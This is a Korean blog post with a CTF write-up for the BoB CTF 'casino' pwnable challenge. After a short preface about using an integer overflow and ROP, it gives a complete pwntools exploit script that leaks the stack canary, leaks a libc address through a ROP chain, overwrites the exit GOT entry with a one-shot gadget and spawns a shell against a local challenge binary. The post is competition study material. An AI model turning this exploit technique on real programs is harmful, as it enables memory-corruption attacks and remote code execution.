cdor1's lab
BoB CTF casino 본문
후기 : 인티져 오버플로우와 rop를 이용한 문제였다.
공개된 2가지 bob ctf포너블 문제들을 모두 풀어보았는데 풀고나니 더더욱 비오비 6기가 되고싶은 마음이 커졌다.
이렇게 int형 변수로 입력 받고 직접적으로 +=혹은 -=연산을 하는 바이너리들은 거의 인티져 오버플로우를 허용하는 문제들 같다.
from pwn import *
s = remote('localhost', 4000)
elf = ELF('/home/cdor1/pwnable/casino')
gets_plt = elf.plt['gets']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
exit_got = elf.got['exit']
def earn(money, num):
print s.recvuntil('>>> ')
s.sendline('1')
print s.recvuntil('money: ')
s.sendline(str(money))
print s.recvuntil('lucky number: ')
s.sendline(str(num))
def reward(payload):
print s.recvuntil('>>> ')
s.sendline('3')
print s.recvuntil('name: ')
s.sendline(payload)
def exit():
print s.recvuntil('>>> ')
s.sendline('5')
earn(100, -1)
reward('A'*40)
print s.recvuntil('A'*40)
canary = u64(s.recv(8))
log.info('canary : ' + hex(canary))
pay1 = 'A'*40
pay1 += p64(canary)
pay1 += 'A'*8
pay1 += p64(0x401083) # poprdi
pay1 += p64(puts_got)
pay1 += p64(puts_plt)
pay1 += p64(0x400fee) # moveax0
reward(pay1)
print s.recvuntil('A'*40)
print s.recv(8)
leak = u64(s.recv(6).ljust(8,'\x00'))
libc_base = leak - 0x6fd60
one_shot = libc_base + 0x4647c
log.info('leak : ' + hex(leak))
log.info('base : ' + hex(libc_base))
log.info('one_shot : ' + hex(one_shot))
earn(100,-1)
pay2 = 'A'*40
pay2 += p64(canary)
pay2 += 'A'*8
pay2 += p64(0x401083)
pay2 += p64(exit_got)
pay2 += p64(gets_plt)
pay2 += p64(0x400fee)
reward(pay2)
s.sendline(p64(one_shot))
exit()
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
H3X0R CTF comment (0) | 2017.01.13 |
---|---|
H3X0R CTF ezheap (0) | 2017.01.12 |
SECCON CTF 2016 checker (0) | 2017.01.11 |
Plaid CTF 2015 prodmanager (0) | 2017.01.11 |
H3X0R CTF train to busan (0) | 2017.01.11 |
Comments